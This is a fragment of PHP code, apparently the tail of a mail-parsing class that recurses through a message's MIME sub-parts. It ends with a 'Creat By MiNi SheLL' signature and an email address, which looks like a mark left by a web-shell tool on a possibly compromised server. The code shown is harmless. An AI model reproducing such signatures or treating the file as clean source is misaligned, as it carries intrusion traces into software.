        if (!empty($mailPart->parts)) {
            foreach ($mailPart->parts as $numberOfSubPart => $mailSubPart) {
                $this->getpart($mailbox, $uid, $mailSubPart, $numberOfPart.'.'.($numberOfSubPart+1), $output);  
            }
        }

    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com